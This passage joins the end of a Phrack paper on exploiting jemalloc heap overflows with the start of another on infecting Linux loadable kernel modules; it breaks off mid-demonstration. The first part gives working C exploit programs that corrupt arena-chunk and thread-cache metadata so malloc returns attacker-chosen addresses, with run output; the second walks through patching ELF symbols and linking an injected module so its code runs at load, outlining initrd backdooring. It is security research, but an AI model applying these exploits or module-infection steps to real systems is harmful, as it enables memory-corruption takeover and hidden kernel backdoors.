Last but not least, it's interesting to note that, since the attacker controls the 'arena' pointer, the map elements that correspond to the freed pages are inserted in the given arena's red black tree. This can be seen at [3‑22] where 'arena_avail_tree_insert()' is actually called. One may think that since red‑black trees are involved in jemalloc, she can abuse their pointer arithmetics to achieve a '4bytes anywhere' write primitive. We urge all interested readers to have a look at rb.h, the file that contains the macro‑based red black tree implementation used by jemalloc (WARNING: don't try this while sober).

Summing up, our attack algorithm consists of the following steps:

1) Force the target application to perform a number of allocations until a new arena is eventually allocated or until a neighboring arena is reached (call it arena B). This is mostly meaningful for our demonstration codes, since, in real life applications chances are that more than one chunks and/or arenas will be already available during the exploitation process.

2) Overwrite the 'arena' pointer of arena B's chunk and make it point to an already existing arena. The address of the very first arena of a process (call it arena A) is always fixed since it's declared as static. This will prevent the allocator from accessing a bad address and eventually segfaulting.

3) Force or let the target application free() any chunk that belongs to arena B. We can deallocate any number of pages as long as they are marked as allocated in the jemalloc metadata. Trying to free an unallocated page will result in the red‑black tree implementation of jemalloc entering an endless loop or, rarely, segfaulting.

4) The next allocation to be served by arena B, will return a pointer somewhere within the region that was erroneously free()'ed in step 3.

The exploit code for the vulnerable program presented in this section can be seen below. It was coded on an x86 FreeBSD‑8.2‑RELEASE system, so the offsets of the metadata may vary for your platform. Given the address of an existing arena (arena A of step 2), it creates a file that contains the exploitation vector. This file should be passed as argument to the vulnerable target (full code in file exploit‑chunk.c):

char buffer[1024], *p;

int fd;

if(argc != 2) {

fprintf(stderr, "%s <arena>\n", argv[0]);

return 0;

}

memset(buffer, 0, sizeof(buffer));

p = buffer;

strncpy(p, "1234567890123456", 16);

p += 16;

/* Arena address. */

*(size_t *)p = (size_t)strtoul(argv[1], NULL, 16);

p += sizeof(size_t);

/* Skip over rbtree metadata and 'chunk‑>map[0]'. */

strncpy(p,

"AAAA" "AAAA" "CCCC"

"AAAA" "AAAA" "AAAA" "GGGG" "HHHH" , 32);

p += 32;

*(size_t *)p = 0x00001002;

/* ^ CHUNK_MAP_LARGE */

/* ^ Number of pages to free (1 is ok). */

p += sizeof(size_t);

fd = open("exploit2.v", O_WRONLY | O_TRUNC | O_CREAT, 0700); write(fd, buffer, (p ‑ (char *)buffer));

close(fd);

return 0;

It is now time for some action. First, let's compile and run the vulnerable code.

$ ./vuln‑chunk

# Chunk 0x28200000 belongs to arena 0x8049d98

# Chunk 0x28300000 belongs to arena 0x8049d98

...

# Region at 0x28301030

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ p3 = 0x28302000

# Region at 0x28301030

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

The output is what one expects it to be. First, the vulnerable code forces the allocator to initialize a new chunk (0x28300000) and then requests a memory region which is given the address 0x28301030. The next call to 'malloc()' returns 0x28302000. So far so good. Let's feed our target with the exploitation vector and see what happens.

$ ./exploit‑chunk 0x8049d98

$ ./vuln‑chunk exploit2.v

# Chunk 0x28200000 belongs to arena 0x8049d98

# Chunk 0x28300000 belongs to arena 0x8049d98

...

Read 56 bytes

# Region at 0x28301030

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ p3 = 0x28301000

# Region at 0x28301030

41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

As you can see the second call to 'malloc()' returns a new region 'p3 = 0x28301000' which lies 0x30 bytes before 'first' (0x28301030)!

Okay, so you're now probably thinking if this technique is useful. Please note that the demonstration code presented in the previous two sections was carefully coded to prepare the heap in a way that is convenient for the attacker. It is for this purpose that these attacks may seem obscure at first. On the contrary, in real life applications, heap overflows in jemalloc will result in one of the following three cases:

1) Overwrite of an adjacent memory region.

2) Overwrite of the run metadata (in case the overflown region is the last in a run).

3) Overwrite of the arena chunk metadata (in case the overflown region is the last in a chunk).

That said we believe we have covered most of the cases that an attacker may encounter. Feel free to contact us if you think we have missed something important.

‑‑‑‑‑‑[ 3.3.3 ‑ Thread caches (tcache_t)

As we have analyzed in 2.1.7, thread cache magazine 'rounds' and other magazine metadata are placed in normal memory regions. Assuming a 'mag_t' along with its void pointer array has a total size of N, one can easily acquire a memory region in the same run by calling 'malloc(N)'.

Overflowing a memory region adjacent to a 'mag_t' can result in 'malloc()' returning arbitrary attacker controlled addresses. It's just a matter of overwriting 'nrounds' and the contents of the void pointer array to contain a stack address (or any other address of interest). A careful reader of section 2.1.7 would have probably noticed that the same result can be achieved by giving 'nrounds' a sufficiently large value in order to pivot in the stack (or any user controlled memory region). This scenario is pretty straightforward to exploit, so, we will have a look at the case of overwriting a 'mag_rack_t' instead (it's not that sophisticated either).

Magazine racks are allocated by 'mag_rack_alloc()':

mag_rack_t *

mag_rack_create(arena_t *arena)

{

...

return (arena_malloc_small(arena, sizeof(mag_rack_t) + (sizeof(bin_mags_t) * (nbins ‑ 1)), true));

}

Now, let's calculate the size of a magazine rack:

(gdb) print nbins

$6 = 30

(gdb) print sizeof(mag_rack_t) + (sizeof(bin_mags_t) * (nbins ‑ 1)) $24 = 240

A size of 240 is actually serviced by the bin holding regions of 256 bytes. Issuing calls to 'malloc(256)' will eventually end up in a user controlled region physically bordering a 'mag_rack_t'. The following vulnerable code emulates this situation (file vuln‑mag.c):

/* The 'vulnerable' thread. */

void *vuln_thread_runner(void *arg) {

char *v;

v = (char *)malloc(256); /* [3‑25] */

printf("[vuln] v = %p\n", v);

sleep(2);

if(arg)

strcpy(v, (char *)arg);

return NULL;

}

/* Other threads performing allocations. */

void *thread_runner(void *arg) {

size_t self = (size_t)pthread_self();

char *p1, *p2;

/* Allocation performed before the magazine rack is overflown. */

p1 = (char *)malloc(16);

printf("[%u] p1 = %p\n", self, p1);

sleep(4);

/* Allocation performed after overflowing the rack. */

p2 = (char *)malloc(16);

printf("[%u] p2 = %p\n", self, p2);

sleep(4);

return NULL;

}

int main(int argc, char *argv[]) {

size_t tcount, i;

pthread_t *tid, vid;

if(argc != 3) {

printf("%s <thread_count> <buff>\n", argv[0]);

return 0;

}

/* The fake 'mag_t' structure will be placed here. */

printf("[*] %p\n", getenv("FAKE_MAG_T"));

tcount = atoi(argv[1]);

tid = (pthread_t *)alloca(tcount * sizeof(pthread_t));

pthread_create(&vid, NULL, vuln_thread_runner, argv[2]); for(i = 0; i < tcount; i++)

pthread_create(&tid[i], NULL, thread_runner, NULL);

pthread_join(vid, NULL);

for(i = 0; i < tcount; i++)

pthread_join(tid[i], NULL);

pthread_exit(NULL);

}

The vulnerable code spawns a, so called, vulnerable thread that performs an allocation of 256 bytes. A user supplied buffer, 'argv[2]' is copied in it thus causing a heap overflow. A set of victim threads are then created. For demonstration purposes, victim threads have a very limited lifetime, their main purpose is to force jemalloc initialize new 'mag_rack_t' structures. As the comments indicate, the allocations stored in 'p1' variables take place before the magazine rack is overflown while the ones stored in 'p2' will get affected by the fake magazine rack (in fact, only one of them will; the one serviced by the overflown rack). The allocations performed by victim threads are serviced by the newly initialized magazine racks. Since each magazine rack spans 256 bytes, it is highly possible that the overflown region allocated by the vulnerable thread will lie somewhere around one of them (this requires that both the target magazine rack and the overflown region will be serviced by the same arena).

Once the attacker is able to corrupt a magazine rack, exploitation is just a matter of overwriting the appropriate 'bin_mags' entry. The entry should be corrupted in such a way that 'curmag' should point to a fake 'mag_t' structure. The attacker can choose to either use a large 'nrounds' value to pivot into the stack, or give arbitrary addresses as members of the void pointer array, preferably the latter. The exploitation code given below makes use of the void pointer technique (file exploit‑mag.c):

int main(int argc, char *argv[]) {

char fake_mag_t[12 + 1];

char buff[1024 + 1];

size_t i, fake_mag_t_p;

if(argc != 2) {

printf("%s <mag_t address>\n", argv[0]);

return 1;

}

fake_mag_t_p = (size_t)strtoul(argv[1], NULL, 16);

/* Please read this...

*

* In order to void using NULL bytes, we use 0xffffffff as the value * for 'nrounds'. This will force jemalloc picking up 0x42424242 as * a valid region pointer instead of 0x41414141 :)

*/

printf("[*] Assuming fake mag_t is at %p\n", (void *)fake_mag_t_p); *(size_t *)&fake_mag_t[0] = 0x42424242;

*(size_t *)&fake_mag_t[4] = 0xffffffff;

*(size_t *)&fake_mag_t[8] = 0x41414141;

fake_mag_t[12] = 0;

setenv("FAKE_MAG_T", fake_mag_t, 1);

/* The buffer that will overwrite the victim 'mag_rack_t'. */

printf("[*] Preparing input buffer\n");

for(i = 0; i < 256; i++)

*(size_t *)&buff[4 * i] = (size_t)fake_mag_t_p; buff[1024] = 0;

printf("[*] Executing the vulnerable program\n"); execl("./vuln‑mag", "./vuln‑mag", "16", buff, NULL); perror("execl");

return 0;

}

Let's compile and run the exploit code:

$ ./exploit‑mag

./exploit‑mag <mag_t address>

$ ./exploit‑mag 0xdeadbeef

[*] Assuming fake mag_t is at 0xdeadbeef

[*] Preparing input buffer

[*] Executing the vulnerable program

[*] 0xbfbfedd6

...

The vulnerable code reports that the environment variable 'FAKE_MAG_T' containing our fake 'mag_t' structure is exported at 0xbfbfedd6.

$ ./exploit‑mag 0xbfbfedd6

[*] Assuming fake mag_t is at 0xbfbfedd6

[*] Preparing input buffer

[*] Executing the vulnerable program

[*] 0xbfbfedd6

[vuln] v = 0x28311100

[673283456] p1 = 0x28317800

...

[673283456] p2 = 0x42424242

[673282496] p2 = 0x3d545f47

Neat. One of the victim threads, the one whose magazine rack is overflown, returns an arbitrary address as a valid region. Overwriting the thread caches is probably the most lethal attack but it suffers from a limitation which we do not consider serious. The fact that the returned memory region and the 'bin_mags[]' element both receive arbitrary addresses, results in a segfault either on the deallocation of 'p2' or once the thread dies by explicitly or implicitly calling 'pthread_exit()'. Possible shellcodes should be triggered _before_ the thread exits or the memory region is freed. Fair enough... :)

‑‑[ 4 ‑ A real vulnerability

For a detailed case study on jemalloc heap overflows see the second Art of Exploitation paper in this issue of Phrack.

‑‑[ 5 ‑ Future work

This paper is the first public treatment of jemalloc that we are aware of. In the near future, we are planning to research how one can corrupt the various red black trees used by jemalloc for housekeeping. The rbtree implementation (defined in rb.h) is fully based on preprocessor macros and it's quite complex in nature. Although we have already debugged them, due to lack of time we didn't attempt to exploit the various tree operations performed on rbtrees. We wish that someone will continue our work from where we left of. If no one does, then you definitely know whose articles you'll soon be reading :)

‑‑[ 6 ‑ Conclusion

We have done the first step in analyzing jemalloc. We do know, however, that we have not covered every possible potential of corrupting the allocator in a controllable way. We hope to have helped those that were about to study the FreeBSD userspace allocator or the internals of Firefox but wanted to have a first insight before doing so. Any reader that discovers mistakes in our article is advised to contact us as soon as possible and let us know.

Many thanks to the Phrack staff for their comments. Also, thanks to George Argyros for reviewing this work and making insightful suggestions.

Finally, we would like to express our respect to Jason Evans for such a leet allocator. No, that isn't ironic; jemalloc is, in our opinion, one of the best (if not the best) allocators out there.

‑‑[ 7 ‑ References

[JESA] Standalone jemalloc

‑ http://www.canonware.com/cgi‑bin/gitweb.cgi?p=jemalloc.git

[JEMF] Mozilla Firefox jemalloc

‑ http://hg.mozilla.org/mozilla‑central/file/tip/memory/jemalloc

[JEFB] FreeBSD 8.2‑RELEASE‑i386 jemalloc

‑ http://www.freebsd.org/cgi/cvsweb.cgi/src/lib/libc/stdlib/

malloc.c?rev=1.183.2.5.4.1;content‑type=text%2Fplain; only_with_tag=RELENG_8_2_0_RELEASE

[JELX] Linux port of the FreeBSD jemalloc

‑ http://www.canonware.com/download/jemalloc/

jemalloc_linux_20080828a.tbz

[JE06] Jason Evans, A Scalable Concurrent malloc(3) Implementation for FreeBSD

‑ http://people.freebsd.org/~jasone/jemalloc/bsdcan2006

/jemalloc.pdf

[PV10] Peter Vreugdenhil, Pwn2Own 2010 Windows 7 Internet Explorer 8 exploit

‑ http://vreugdenhilresearch.nl

/Pwn2Own‑2010‑Windows7‑InternetExplorer8.pdf

[FENG] Alexander Sotirov, Heap Feng Shui in Javascript ‑ http://www.phreedom.org/research/heap‑feng‑shui/

heap‑feng‑shui.html

[HOEJ] Mark Daniel, Jake Honoroff, Charlie Miller, Engineering Heap Overflow Exploits with Javascript

‑ http://securityevaluators.com/files/papers/isewoot08.pdf

[CVRS] Chris Valasek, Ryan Smith, Exploitation in the Modern Era (Blueprint)

‑ https://www.blackhat.com/html/bh‑eu‑11/

bh‑eu‑11‑briefings.html#Valasek

[VPTR] rix, Smashing C++ VPTRs

‑ http://www.phrack.org/issues.html?issue=56&id=8

[HAPF] huku, argp, Patras Heap Massacre

‑ http://fosscomm.ceid.upatras.gr/

[APHN] argp, FreeBSD Kernel Massacre

‑ http://ph‑neutral.darklab.org/previous/0x7db/talks.html

[UJEM] unmask_jemalloc

‑ https://github.com/argp/unmask_jemalloc

‑‑[ 8 ‑ Code

begin 644 code.tar.gz

M'XL(",&7<4\"`V‑O9&4N=&%R`.P]^W?3.+/\6I^S_X,V+31ID]3.LS2D=PL4 end

Infecting loadable kernel modules

==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x0b of 0x13

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Infecting loadable kernel modules ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ kernel versions 2.6.x/3.0.x ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by styx^ ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ the.styx@gmail.com ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑[ Index

1 ‑ Introduction

2 ‑ Kernel 2.4.x method

2.1 ‑ First try

2.2 ‑ LKM loading explanations

2.3 ‑ The relocation process

3 ‑ Playing with loadable kernel modules on 2.6.x/3.0.x 3.1 ‑ A first example of code injection

4 ‑ Real World: Is it so simple?

4.1 ‑ Static functions

4.1.1 ‑ Local symbol

4.1.2 ‑ Changing symbol bind

4.1.3 ‑ Try again

4.2 ‑ Static __init functions

4.3 ‑ What about cleanup_module

5 ‑ Real life example

5.1 ‑ Inject a kernel module in /etc/modules 5.2 ‑ Backdooring initrd

6 ‑ What about other systems?

6.1 ‑ Solaris

6.1.1 ‑ A basic example

6.1.2 ‑ Playing with OS modules

6.1.3 ‑ Keeping it stealthy

6.2 ‑ *BSD

6.2.1 ‑ FreeBSD ‑ NetBSD ‑ OpenBSD

7 ‑ Conclusion

8 ‑ References

9 ‑ Codes

9.1 ‑ Elfstrchange

9.2 ‑ elfstrchange.patch

‑‑‑[ 1 ‑ Introduction

In Phrack #61 [1] truff introduced a new method to infect a loadable kernel module on Linux kernel x86 2.4.x series. Actually this method is currently not compatible with the Linux kernel 2.6.x/3.0.x series due to the many changes made in kernel internals. As a result, in order to infect a kernel module, changing the name of symbols in .strtab section is not enough anymore; the task has become a little bit trickier. In this article it will be shown how to infect a kernel module on Linux kernel x86 2.6.*/3.0.x

series. All the methods discussed here have been tested on kernel version 2.6.35, 2.6.38 and 3.0.0 on Ubuntu 10.10, 11.04 and 11.10 and on kernel version 2.6.18‑238 on CentOS 5.6.

The proposed method has been tested only on 32‑bit architectures: a 64‑bit adaptation is left as an exercise to the reader. Finally, I want to clarify that the proposed paper is not innovative, but is only an update of truff's paper.

‑‑‑[ 2 ‑ Kernel 2.4.x method

‑‑‑[ 2.1 ‑ First try

With the help of a simple example it will be explained why truff's method is no longer valid: we are using the "elfstrchange" tool provided in his paper. First, let's write a simple testing kernel module:

/****************** orig.c ***************************************

#include <linux/init.h>

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/errno.h>

MODULE_LICENSE("GPL");

int evil(void) {

printk(KERN_ALERT "Init Inject!");

return 0;

}

int init(void) {

printk(KERN_ALERT "Init Original!");

return 0;

}

void clean(void) {

printk(KERN_ALERT "Exit Original!");

return;

}

module_init(init);

module_exit(clean);

/****************** EOF ***************************************

The module_init macro is used to register the initialization function of the loadable kernel module: in other words, the function which is called when the module is loaded, is the init() function. Reciprocally the module_exit macro is used to register the termination function of the LKM which means that in our example clean() will be invoked when the module is unloaded. These macros can be seen as the constructor/destructor declaration of the LKM object. A more exhaustive explanation can be found in section 2.2.

Below is the associated Makefile:

/****************** Makefile ***************************************

obj‑m += orig.o

KDIR := /lib/modules/$(shell uname ‑r)/build

PWD := $(shell pwd)

default:

$(MAKE) ‑C $(KDIR) SUBDIRS=$(PWD) modules

clean:

$(MAKE) ‑C $(KDIR) SUBDIRS=$(PWD) clean

/****************** EOF ***************************************

Now the module can be compiled and the testing can start:

$ make

...

Truff noticed that altering the symbol names located in the .strtab section was enough to fool the resolution mechanism of kernel v2.4. Indeed the obj_find_symbol() function of modutils was looking for a specific symbol ("init_module") using its name [1]:

/***************************************

module‑>init = obj_symbol_final_value(f, obj_find_symbol(f,

SPFX "init_module"));

module‑>cleanup = obj_symbol_final_value(f, obj_find_symbol(f,

SPFX "cleanup_module"));

/***************************************

Let's have a look at the ELF symbol table of orig.ko:

$ objdump ‑t orig.ko

orig.ko: file format elf32‑i386

SYMBOL TABLE:

...

00000040 g F .text0000001b evil

00000000 g O .gnu.linkonce.this_module00000174 __this_module 00000000 g F .text00000019 cleanup_module

00000020 g F .text0000001b init_module

00000000 g F .text00000019 clean

00000000 *UND*00000000 mcount

00000000 *UND*00000000 printk

00000020 g F .text0000001b init

We want to setup evil() as the initialization function instead of init(). Truff was doing it in two steps:

1. renaming init to dumm

2. renaming evil to init

This can easily be performed using his tool, "elfstrchange", slightly bug‑patched (see section 9):

$ ./elfstrchange orig.ko init dumm

[+] Symbol init located at 0xa91

[+] .strtab entry overwritten with dumm

$ ./elfstrchange orig.ko evil init

[+] Symbol evil located at 0xa4f

[+] .strtab entry overwritten with init

$ objdump ‑t orig.ko

...

00000040 g F .text0000001b init <‑‑ evil() 00000000 g O .gnu.linkonce.this_module00000174 __this_module 00000000 g F .text00000019 cleanup_module

00000020 g F .text0000001b init_module

00000000 g F .text00000019 clean

00000000 *UND*00000000 mcount

00000000 *UND*00000000 printk

00000020 g F .text0000001b dumm <‑‑ init()

Now we're loading the module:

$ sudo insmod orig.ko

$ dmesg |tail

...

[ 2438.317831] Init Original!

As we can see the init() function is still invoked. Applying the same method with "init_module" instead of init doesn't work either. In the next subsection the reasons of this behaviour are explained.

‑‑‑[ 2.2 LKM loading explanations

In the above subsection I briefly mentioned the module_init and module_exit macros. Now let's analyze them. In kernel v2.4 the entry and exit functions of the LKMs were init_module() and cleanup_module(), respectively. Nowadays, with kernel v2.6, the programmer can choose the name he prefers for these functions using the module_init() and module_exit() macros. These macros are defined in "include/linux/init.h" [3]:

/***************************************

#ifndef MODULE

[...]

#else /* MODULE */

[...]

/* Each module must use one module_init(). */

#define module_init(initfn) \

static inline initcall_t __inittest(void) \

{ return initfn; }

int init_module(void) __attribute__((alias(#initfn)));

/* This is only required if you want to be unloadable. */

#define module_exit(exitfn) \

static inline exitcall_t __exittest(void) \

{ return exitfn; }

void cleanup_module(void) __attribute__((alias(#exitfn)));

[...]

#endif /*MODULE*/

/***************************************

We are only interested in the "loadable module" case, that is when MODULE is defined. As you can see, init_module is always declared as an alias of initfn, the argument of the module_init macro. As a result, the compiler will always produce identical symbols in the relocatable object: one for initfn and one for "module_init". The same rule applies for the termination function, if the unloading mechanism is compiled in the kernel (that is if CONFIG_MODULE_UNLOAD is defined).

When a module is compiled, first the compiler creates an object file for each source file, then it generates an additional generic source file, compiles it and finally links all the relocatable objects together.

In the case of orig.ko, orig.mod.c is the file generated and compiled as orig.mod.o. The orig.mod.c follows:

/***************************************

#include <linux/module.h>

#include <linux/vermagic.h>

#include <linux/compiler.h>

MODULE_INFO(vermagic, VERMAGIC_STRING);

struct module __this_module __attribute__((section(".gnu.linkonce.this_module"))) = { .name = KBUILD_MODNAME,

.init = init_module,

#ifdef CONFIG_MODULE_UNLOAD

.exit = cleanup_module,

#endif

.arch = MODULE_ARCH_INIT,

};

static const struct modversion_info ____versions[]

__used

__attribute__((section("__versions"))) = {

{ 0x4d5503c4, "module_layout" },

{ 0x50eedeb8, "printk" },

{ 0xb4390f9a, "mcount" },

};

static const char __module_depends[]

__used

__attribute__((section(".modinfo"))) =

"depends=";

MODULE_INFO(srcversion, "EE786261CA9F9F457DF0EB5");

/***************************************

This file declares and partially initializes a struct module which will be stored in the ".gnu.linkonce.this_module" section of the object file. The module struct is defined in "include/linux/module.h":

/***************************************

struct module

{

[...]

/* Unique handle for this module */

char name[MODULE_NAME_LEN];

[...]

/* Startup function. */

int (*init)(void);

[...]

/* Destruction function. */

void (*exit)(void);

[...]

};

/***************************************

So when the compiler auto‑generates the C file, it always makes the .init and .exit fields of the struct pointing to the function "init_module" and "cleanup_module". But the corresponding functions are not declared in this C file so they are assumed external and their corresponding symbols are declared undefined (*UND*):

$ objdump ‑t orig.mod.o

orig.mod.o: file format elf32‑i386

SYMBOL TABLE:

[...]

00000000 *UND*00000000 init_module

00000000 *UND*00000000 cleanup_module

When the linking with the other objects is performed, the compiler is then able to solve this issue thanks to the aliasing performed by the module_init() and module_exit() macros.

$ objdump ‑t orig.ko

00000000 g F .text0000001b evil

00000000 g O .gnu.linkonce.this_module00000184 __this_module 00000040 g F .text00000019 cleanup_module

00000020 g F .text0000001b init_module

00000040 g F .text00000019 clean

00000000 *UND*00000000 mcount

00000000 *UND*00000000 printk

00000020 g F .text0000001b init

The aliasing can be seen as a smart trick to allow the compiler to declare and fill the __this_module object without too much trouble. This object is essential for the loading of the module in the v2.6.x/3.0.x kernels.

To load the LKM, a userland tool (insmod/modprobe/etc.) calls the sys_init_module() syscall which is defined in "kernel/module.c":

/***************************************

SYSCALL_DEFINE3(init_module, void __user *, umod, unsigned long, len, const char __user *, uargs) {

struct module *mod;

int ret = 0;

...

/* Do all the hard work */

mod = load_module(umod, len, uargs);

...

/* Start the module */

if (mod‑>init != NULL)

ret = do_one_initcall(mod‑>init);

...

}

/***************************************

The load_module() function returns a pointer to a "struct module" object when the LKM is loaded in memory. As stated in the source code, load_module() handles the main tasks associated with the loading and as such is neither easy to follow nor to explain in a few sentences. However there are two important things that you should know:

‑ load_module() is responsible for the ELF relocations ‑ the mod‑>init is holding the relocated value stored in __this_module

Note: Because __this_module is holding initialized function pointers (the address of init() and clean() in our example), there has to be a relocation at some point.

After the relocation is performed, mod‑>init() refers to the kernel mapping of init_module() and can be called through do_one_initcall() which is defined in "init/main.c":

/***************************************

int __init_or_module do_one_initcall(initcall_t fn)

{

int count = preempt_count();

int ret;

if (initcall_debug)

ret = do_one_initcall_debug(fn); <‑‑ init_module() may be

else called here

ret = fn(); <‑‑ or it may be called

here

msgbuf[0] = 0;

...

return ret;

}

/***************************************

‑‑‑[ 2.3 ‑ The relocation process

The relocation itself is handled by the load_module() function and without any surprise the existence of the corresponding entries can be found in the binary:

$ objdump ‑r orig.ko

./orig.ko: file format elf32‑i386

...

RELOCATION RECORDS FOR [.gnu.linkonce.this_module]:

OFFSET TYPE VALUE

000000d4 R_386_32 init_module

00000174 R_386_32 cleanup_module

This means that the relocation has to patch two 32‑bit addresses (because type == R_386_32) located at:

‑ (&.gnu.linkonce.this_module = &__this_module) + 0xd4 [patch #1] ‑ (&.gnu.linkonce.this_module = &__this_module) + 0x174 [patch #2]

A relocation entry (in a 32‑bit environment) is an Elf32_Rel object and is defined in "/usr/include/elf.h":

/***************************************

typedef struct

{

Elf32_Addr r_offset; /* Address */

Elf32_Word r_info; /* Relocation type and symbol index

*/

} Elf32_Rel;

#define ELF32_R_SYM(val) ((val) >> 8)

/***************************************

The important thing to remember is that the symbol is located using ELF32_R_SYM() which provides an index in the table of symbols, the .symtab section.

This can be easily seen:

$ readelf ‑S ./orig.ko | grep gnu.linkonce

[10] .gnu.linkonce.thi PROGBITS 00000000 000240 000184 00 WA 0 0 32 [11] .rel.gnu.linkonce REL 00000000 0007f8 000010 08 16 10 4

The relocation section associated with section 10 is thus section 11.

$ readelf ‑x 11 orig.ko

Hex dump of section '.rel.gnu.linkonce.this_module': 0x00000000 d4000000 01160000 74010000 01150000 ........t.......

So ELF32_R_SYM() is returning 0x16 (=22) for the first relocation and 0x1b (=21) for the second one. Now let's see the table of symbols:

$ readelf ‑s .orig.ko

Symbol table '.symtab' contains 33 entries:

Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND

...

21: 00000040 25 FUNC GLOBAL DEFAULT 2 cleanup_module 22: 00000020 27 FUNC GLOBAL DEFAULT 2 init_module

...

This is a perfect match. So when the LKM is loaded:

‑ The kernel performs a symbol resolution and the corresponding symbols are updated with a new value. At his point init_module and cleanup_module are holding kernel space addresses.

‑ The kernel performs the required relocations using the index in the table of symbols to know how to patch. When the relocation is performed __this_module has been patched twice.

At this point it should be clear that the address value of the init_module symbol has to be modified if we want to call evil() instead of init().

‑‑‑[ 3 ‑ Playing with loadable kernel modules on 2.6.x/3.0.x

As pointed out above, the address of the init_module symbol has to be modified in order to invoke the evil() function at loading time. Since the LKM is a relocatable object, this address is calculated using the offset (or relative address) stored in the st_value field of the Elf32_Sym structure [2], defined in "/usr/include/elf.h":

/***************************************

typedef struct

{

Elf32_Wordst_name;/* Symbol name (string tbl index) */

Elf32_Addrst_value;/* Symbol value */

Elf32_Wordst_size;/* Symbol size */

unsigned charst_info;/* Symbol type and binding */

unsigned charst_other;/* Symbol visibility */

Elf32_Sectionst_shndx;/* Section index */

} Elf32_Sym;

/***************************************

$ objdump ‑t orig.ko

orig.ko: file format elf32‑i386

SYMBOL TABLE:

...

00000040 g F .text0000001b evil

00000000 g O .gnu.linkonce.this_module00000174 __this_module 00000000 g F .text00000019 cleanup_module

00000020 g F .text0000001b init_module

00000000 g F .text00000019 clean

00000000 *UND*00000000 mcount

00000000 *UND*00000000 printk

00000020 g F .text0000001b init

The objdump output shows that:

‑ the relative address of evil() is 0x00000040;

‑ the relative address of init_module() is 0x00000020;

‑ the relative address of init() is 0x00000020;

Altering these offsets is enough to have evil() being called instead of init_module() because the relocation process in the kernel will produce the corresponding "poisoned" virtual address.

The orig.ko has to look like this:

00000040 g F .text0000001b evil

...

00000040 g F .text0000001b init_module

To do so, we can use my 'elfchger' script in order to modify the ELF file. The code structure is the same as truff's one, with some minor changes. The script takes the following input parameters:

./elfchger ‑s [symbol] ‑v [value] <module_name>

Where [value] represents the new relative address of the [symbol] (init_module in our case) in <module_name>:

Let's apply it to our example:

$ ./elfchger ‑s init_module ‑v 00000040 orig.ko

[+] Opening orig.ko file...

[+] Reading Elf header...

>> Done!

[+] Finding ".symtab" section...

>> Found at 0x77c

[+] Finding ".strtab" section...

>> Found at 0x7a4

[+] Getting symbol' infos:

>> Symbol found at 0x99c

>> Index in symbol table: 0x16

[+] Replacing 0x00000020 with 0x00000040... done!

The ELF file is now changed:

$ objdump ‑t orig.ko

orig.ko: file format elf32‑i386

SYMBOL TABLE:

...

00000040 g F .text0000001b evil

00000000 g O .gnu.linkonce.this_module00000174 __this_module 00000000 g F .text00000019 cleanup_module

00000040 g F .text0000001b init_module

00000000 g F .text00000019 clean

00000000 *UND*00000000 mcount

00000000 *UND*00000000 printk

00000020 g F .text0000001b init

Let's load the module:

$ sudo insmod orig.ko

$ dmesg | tail

...

[ 5733.929286] Init Inject!

$

As expected the evil() function is invoked instead of init() when the module is loaded.

‑‑‑[ 3.1 A first example of code injection

The next step is the injection of external code inside the original module (orig.ko). A new kernel module (evil.ko) will be injected into orig.ko. We will use both orig.c and evil.c source codes:

/***************************** orig.c ************************************/

#include <linux/init.h>

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/errno.h>

MODULE_LICENSE("GPL");

int init_module(void) {

printk(KERN_ALERT "Init Original!");

return 0;

}

void clean(void) {

printk(KERN_ALERT "Exit Original!");

return;

}

module_init(init);

module_exit(clean);

/******************************** EOF ************************************/

/***************************** evil.c ************************************/

#include <linux/init.h>

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/errno.h>

MODULE_LICENSE("GPL");

int evil(void) {

printk(KERN_ALERT "Init Inject!");

return 0;

}

/******************************** EOF ************************************/

Once the two modules orig.ko and evil.ko are compiled, they can be linked together using the 'ld ‑r' command (as explained by truff) because they are both relocatable objects.

$ ld ‑r orig.ko evil.ko ‑o new.ko

$ objdump ‑t new.ko

new.ko: file format elf32‑i386

SYMBOL TABLE:

...

00000040 g F .text0000001b evil

00000000 g O .gnu.linkonce.this_module00000174 __this_module 00000000 g F .text00000019 cleanup_module

00000020 g F .text0000001b init_module

00000000 g F .text00000019 clean

00000000 *UND*00000000 mcount

00000000 *UND*00000000 printk

00000020 g F .text0000001b init

The evil() function has now been linked into the new.ko module. The next step is to make init_module() (defined in orig.ko) an alias of evil() (defined in evil.ko). It can be done easily using ./elfchger:

$ ./elfchger ‑f init_module ‑v 00000040 new.ko

[+] Opening new.ko file...

[+] Reading Elf header...

>> Done!

[+] Finding ".symtab" section...

>> Found at 0x954

[+] Finding ".strtab" section...

>> Found at 0x97c

[+] Getting symbol' infos:

>> Symbol found at 0xbe4

>> Index in symbol table: 0x1d

[+] Replacing 0x00000020 with 0x00000040... done!

At this point the module can be renamed and loaded:

